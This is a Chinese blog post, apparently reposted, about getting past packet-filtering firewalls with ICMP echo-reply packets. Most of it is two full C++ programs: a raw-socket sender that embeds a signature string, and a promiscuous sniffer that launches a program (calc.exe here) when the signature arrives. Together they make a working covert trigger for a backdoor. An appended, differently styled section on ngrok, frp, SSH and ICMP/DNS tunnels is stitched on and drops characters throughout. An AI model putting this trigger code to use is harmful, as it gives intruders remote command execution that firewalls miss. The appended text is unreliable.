ICMP穿透防火墙

注意:以下提到的防火墙都是指包过滤防火墙
ICMP协议大家还是应该经常接触到的,比如windows自带的ping程序就是利用ICMP协议来探测目标主机信息

ICMP协议的分析:
ICMP协议报头如下
TYPE | Code | Checksum | Identifier | Sequence Number | Data
TYPE :类型,表示ICMP的类型,比如:0=echo reply  8=echo
code:
Checksum:效验和,就是对整个ICMP头的效验
Identifier: 标识
Sequence Number:序列号
Data:数据

在回过头来看看
ping程序的原理
ping程序首先发送一个 ICMP echo类型的包到目标主机,如果目标主机返回一个ICMP echo replay包的话,那么就代表主机存活,然后根据时间差,以及IP报头的TTL把信息打印出来.在我们使用ping命令的时候会发现这样的现象,比如ping返回的是timeout,但是事实上目标主机却是存活的,这是因为防火墙把ICMP echo包给阻挡了,然而还有另外一个现象也应该注意,我们本机安装了防火墙,但是我们还是可以ping通其他的机子,比如202.115.23.129,这个说明防火墙对于我们出去的ICMP包是不拦截的,另外也说明了另外一个问题,也就是说防火墙是不阻挡ICMP echo reply 包的.
既然你不拦截,我们就可以做一些事情了哦!
下面的程序演示了如何利用ICMP echo reply来do something,只是为了验证正确性,如果想加入其他功能,可以要额外的维护一些东西,这里就不探讨了,有兴趣可以和我探讨一下
(在测试的时候请关闭发送ICMP ECHO REPLY主机的防火墙,不然包可能无法发出去)
程序描述:
icmp_reply.cpp的功能是利用原始套节字发送含有特征码的ICMP ECHO REPLY包到目的主机
icmp_recv.cpp的功能是利用原始套节字嗅探ICMP包,如果在ICMP包中有我们的特征码,那么运行一个计算器

//icmp_reply.cpp
//使用原始套节字发送ICMP ECHO REPLY
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"

#pragma comment(lib,"ws2_32.lib")

// ICMP header
struct ICMPHEADER
{
 unsigned char i_type;
 unsigned char i_code;
 unsigned short i_cksum;
 unsigned short i_id;
 unsigned short i_seq;
 unsigned long i_timestamp;
 unsigned char i_data[28];
};

#define ICMP_ECHO 8     // ICMP回显请求报文的类型值为8 
#define ICMP_ECHOREPLY 0   // ICMP回显应答报文的类型值为0
int main()
{
 ICMPHEADER IcmpHeader;
 // 目标 IP 地址
 WORD wVersionRequested;
 WSADATA wsaData;
 
 WSAStartup( MAKEWORD(2,2), &wsaData);
 
 sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_addr.S_un.S_addr = inet_addr("192.168.3.87");   //目的IP
 SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);  //原始套节字
 if (sock == INVALID_SOCKET)     // 创建失败?
 {
  return 0;
 }
  
 memset((char *)&IcmpHeader,0,sizeof(IcmpHeader));
 IcmpHeader.i_type = ICMP_ECHOREPLY;  //echo
 IcmpHeader.i_code = 0;
 IcmpHeader.i_cksum = 0x0;
 IcmpHeader.i_id = (unsigned short)GetCurrentProcessId();
 IcmpHeader.i_seq =0;  ///?????
 IcmpHeader.i_timestamp = (unsigned long)::GetTickCount();
 
 memset(&IcmpHeader.i_data,'a',26);
 memcpy(&IcmpHeader.i_data,"gali*&",6); //特征码
 unsigned short *buf  = (unsigned short *)&IcmpHeader;
 
 
 //计算效验和
 int  nleft = sizeof(IcmpHeader);
 int  sum = 0;
 unsigned short answer = 0;
 
 while(nleft > 1) {
  sum = sum + *(buf++);
  nleft -= 2;
 }
 
 if(nleft == 1) {
  *(unsigned char*)(&answer) = *(unsigned char*)buf;
  sum += answer;
 }
 
 sum = (sum >> 16) + (sum & 0xffff);
 sum += (sum >> 16);
 answer = ~sum;
 
 
 IcmpHeader.i_cksum = answer;
 int re = sendto(sock, (char *)&IcmpHeader, sizeof(IcmpHeader), 0, (struct sockaddr*)&addr, sizeof(addr));

 if (re == SOCKET_ERROR ) {
  
  printf("send error/n");
 }

 closesocket(sock);
 WSACleanup();
 printf("发送完毕");
 
 return 1;
}

 

 

//icmp_recv.cpp
//监听ICMP包,如果ICMP包中有我们自定义的信息,启动一个计算器
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"
//#include
#pragma comment(lib,"ws2_32.lib")

#define SIO_RCVALL            _WSAIOW(IOC_VENDOR,1)
HANDLE hEvent;     //线程结束标志

// ICMP header
struct ICMPHEADER
{
 unsigned char i_type;
 unsigned char i_code;
 unsigned short i_cksum;
 unsigned short i_id;
 unsigned short i_seq;
 unsigned long i_timestamp;
 unsigned char i_data[28];
};
typedef ICMPHEADER* LPICMPHEADER;

#define ICMP_ECHO 8     // ICMP回显请求报文的类型值为8 
#define ICMP_ECHOREPLY 0   // ICMP回显应答报文的类型值为0


struct IPHEADER             // 定义 IP 首部
{
    BYTE   h_verlen;        // 4 位首部长度,4 位 IP 版本号
    BYTE   tos;             // 8 位服务类型 TOS
    USHORT total_len;       // 16 位总长度(字节)
    USHORT ident;           // 16 位标识
    USHORT frag_and_flags;  // 3 位标志位(如 SYN,ACK,等)
    BYTE   ttl;             // 8 位生存时间 TTL
    BYTE   proto;           // 8 位协议(如 ICMP,TCP 等)
    USHORT checksum;        // 16 位 IP 首部校验和
    UINT   sourceIP;        // 32 位源 IP 地址
    UINT   destIP;          // 32 位目的 IP 地址
};

typedef IPHEADER* LPIPHEADER;


int ThreadRecv(LPVOID lpParam)
{
 DWORD dwIP = *(DWORD*)lpParam; //传过来的参数
 char RecvBuf[100];    //接受数据的缓冲区
 printf("%d   OK!/n",dwIP);      //验证线程已经开启

 // 创建原始套接字用于获取发送给本机的网络数据包
 SOCKET sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
 if (sock == INVALID_SOCKET)     // 创建失败?
 {
  printf("创建socket失败/n");
  return 0;
 }
 
 // 必须将套接字绑定到本机的某一端口上才能获取所有发送给本机的数据包
 sockaddr_in addr;
 addr.sin_family           = AF_INET;
 addr.sin_port             = INADDR_ANY;
 addr.sin_addr.S_un.S_addr = dwIP;
 if (bind(sock, (sockaddr*)&addr, sizeof(addr)))     // 绑定失败
 {
  closesocket(sock);
  printf("bind失败/n");
  return 0;
 }
 
 // 设置套接字表示接收所有数据包
 DWORD dwIn = 1, dwRet;
 DWORD dwBufferLen;
 if (WSAIoctl(sock, SIO_RCVALL, &dwIn, sizeof(dwIn),
    &dwBufferLen, sizeof(dwBufferLen), &dwRet, NULL, NULL))   // 设置失败
 {
  closesocket(sock);
  printf("WSAIoctl失败/n");
  return 0;
 }
 
 
 while (WaitForSingleObject(hEvent,0) == WAIT_TIMEOUT) { // 循环直到结束信号on
  
  // 接收是否超时
  timeval TimeOut;
  TimeOut.tv_sec = 2;
  TimeOut.tv_usec = 0;
  FD_SET fdset;
  
  // 判断接收是否超时
  FD_ZERO(&fdset);
  FD_SET(sock, &fdset);
  if (select(0, &fdset, NULL, NULL, &TimeOut) <= 0)
   continue;
  // 接收失败
  if (recv(sock, RecvBuf, sizeof(RecvBuf), 0) <= 0)
   continue;
  LPIPHEADER pIpHeader = (LPIPHEADER)RecvBuf;
  LPICMPHEADER  pIcmpHeader  = (LPICMPHEADER)(RecvBuf+sizeof(IPHEADER));
  
  if (pIpHeader->proto != 1) { //判断是否是ICMP协议
   continue;
  }
  if (memcmp(pIcmpHeader->i_data,"gali*&",6) == 0)
  {
   WinExec("calc.exe",SW_SHOW); //启动计算器做测试
   SetEvent(hEvent); //发出结束信号
   //return 1;
  }
  
 }
 return 0;
}
int main()
{
 WSADATA wsaData;
  
 WSAStartup( MAKEWORD(2,2), &wsaData);

 char name[MAX_PATH] = {0};
 if (gethostname(name, MAX_PATH) != 0)   // 获取失败?
 {
  printf("gethostname/n");
  return 1;
 }

 hostent* pHost = gethostbyname(name);
 int nChild = 0;
 unsigned long ulLocalIP;
 HANDLE hThread[64];
 hEvent = CreateEvent(NULL,TRUE,FALSE,NULL);     //结束标志
 while (pHost->h_addr_list[nChild] != NULL)      // 如果 IP 地址表中的 IP 未枚举完
 {
  ulLocalIP = *(ULONG*)pHost->h_addr_list[nChild];
  //启动监听线程
  hThread[nChild] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadRecv,&ulLocalIP,0,NULL);
  Sleep(100); //简单等待线程函数读取参数
  nChild++;
 }
 
 WaitForMultipleObjects(nChild, hThread, TRUE, INFINITE); //直到所有线程返回
 printf("所有线程都已经返回!/n")
 return 1;
}


本程序在 vc 6.0+ xp下面测试成功,防火墙为 天网,没有发出警告

最后再提一下为什么仅仅包过滤的防火墙才可以穿透呢,包过滤的防火墙不检测通信的状态,比如我用ping命令ping目标主机,这个就是状态,基于状态的防火墙会做一个记录,也就是在一定时段内,回应的 ICMP ECHO REPLY 才让通过,不然就kill. 这里稍微分析一下,没有做过具体的测试,有兴趣的可以测试,欢迎交流

文章出自: http://galihoo.bokee.com/6059514.html 
在终端环境下实现网络穿透、SSH穿透防火墙穿透常依赖于一些特定工具和技术来完成。这些方法广泛应用于远程开发、服务器管理和跨地域协作场景中。以下是一些常见的实现方式和工具: ### 1. 内网穿透工具 内网穿透是一种将内网服务暴露到公网的技术,常用于远程访问本地开发环境或局域网中的服务。常用的内网穿透工具包括: - **Cpolar**:Cpolar 是一个简单易用的内网穿透工具,支持多种操作系统(如 Windows、Linux 和 macOS)。过 Cpolar,可以将本地服务映射到公网地址,从而实现远程访问。例如,创建一个隧道映射,将本地的 SSH 服务暴露到公网地址,即可过公网地址远程连接本地服务器[^2]。 - **ngrok**:ngrok 提供了一个快速的内网穿透解决方案,支持 HTTP、TCP 和其他协议。过运行 `ngrok tcp 22`,可以将本地的 SSH 服务映射到公网地址,从而实现远程连接。 - **frp (Fast Reverse Proxy)**:frp 是一个高性能的反向代理应用,支持多种协议(如 TCP、UDP、HTTP 和 HTTPS)。它可以在内网和公网之间建立一个隧道,使外部用户能够访问内网服务。frp 的配置较为灵活,适合需要高度定制的场景。 ### 2. SSH 穿透 SSH 穿透是一种过 SSH 协议建立加密隧道的技术,常用于安全地访问远程服务器或绕过防火墙限制。以下是几种常见的 SSH 穿透方法: - **SSH 反向隧道**:SSH 反向隧道允许将本地服务过 SSH 连接暴露到远程服务器。例如,如果本地机器位于内网中,可以过 SSH 反向隧道将本地的 SSH 服务映射到远程服务器上。具体命令如下: ```bash ssh -R 2222:localhost:22 user@remote_server ``` 在远程服务器上,可以过 `ssh -p 2222 localhost` 连接到本地机器的 SSH 服务。 - **SSH 动态端口转发**:SSH 动态端口转发可以创建一个 SOCKS 代理,允许过 SSH 连接访问远程网络资源。例如: ```bash ssh -D 1080 user@remote_server ``` 配置浏览器或其他应用程序使用 `127.0.0.1:1080` 作为 SOCKS 代理后,即可过远程服务器访问目标网络资源。 - **SSH 本地端口转发**:SSH 本地端口转发可以将远程服务器的服务映射到本地机器。例如: ```bash ssh -L 8080:remote_service:80 user@remote_server ``` 本地机器可以过访问 `127.0.0.1:8080` 来访问远程服务器上的 `remote_service`。 - **SSH 远程端口转发**:SSH 远程端口转发可以将本地服务暴露到远程服务器。例如: ```bash ssh -R 8080:localhost:80 user@remote_server ``` 远程服务器可以过访问 `127.0.0.1:8080` 来访问本地机器上的服务。 ### 3. 防火墙穿透技术 防火墙穿透技术常涉及利用某些协议或工具绕过防火墙限制。以下是一些常见的方法: - **使用加密协议**:HTTPS、SSH 等加密协议常被防火墙允许过,因此可以过这些协议进行穿透。例如,使用 SSH 隧道或 HTTPS 代理来绕过防火墙限制。 - **使用 DNS 隧道**:DNS 隧道利用 DNS 协议传输数据,常被防火墙允许过。过 DNS 隧道,可以实现远程访问或数据传输。 - **使用 ICMP 隧道**:ICMP 隧道利用 ICMP 协议(如 ping)传输数据,常被防火墙允许过。ICMP 隧道可以用于远程控制或数据传输。 ### 4. 终端工具与配置 在终端环境中,可以过以下工具和配置实现穿透: - **Wave Terminal**:Wave Terminal 是一个跨平台的终端工具,支持 SSH 连接和内网穿透过 Wave Terminal,可以轻松配置 SSH 连接和内网穿透,从而实现远程开发和服务器管理[^1]。 - **VS Code + Remote - SSH**:VS Code 的 Remote - SSH 插件允许用户过 SSH 连接到远程服务器,并在远程环境中进行开发。结合内网穿透工具(如 Cpolar),可以实现公网远程连接[^2]。 ### 5. 安全注意事项 在使用穿透技术时,需要注意以下安全问题: - **加密信**:确保所有穿透连接都使用加密协议(如 SSH、HTTPS)以防止数据泄露。 - **访问控制**:限制穿透连接的访问权限,避免未经授权的用户访问敏感资源。 - **日志监控**:定期检查穿透连接的日志,及时发现异常行为。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值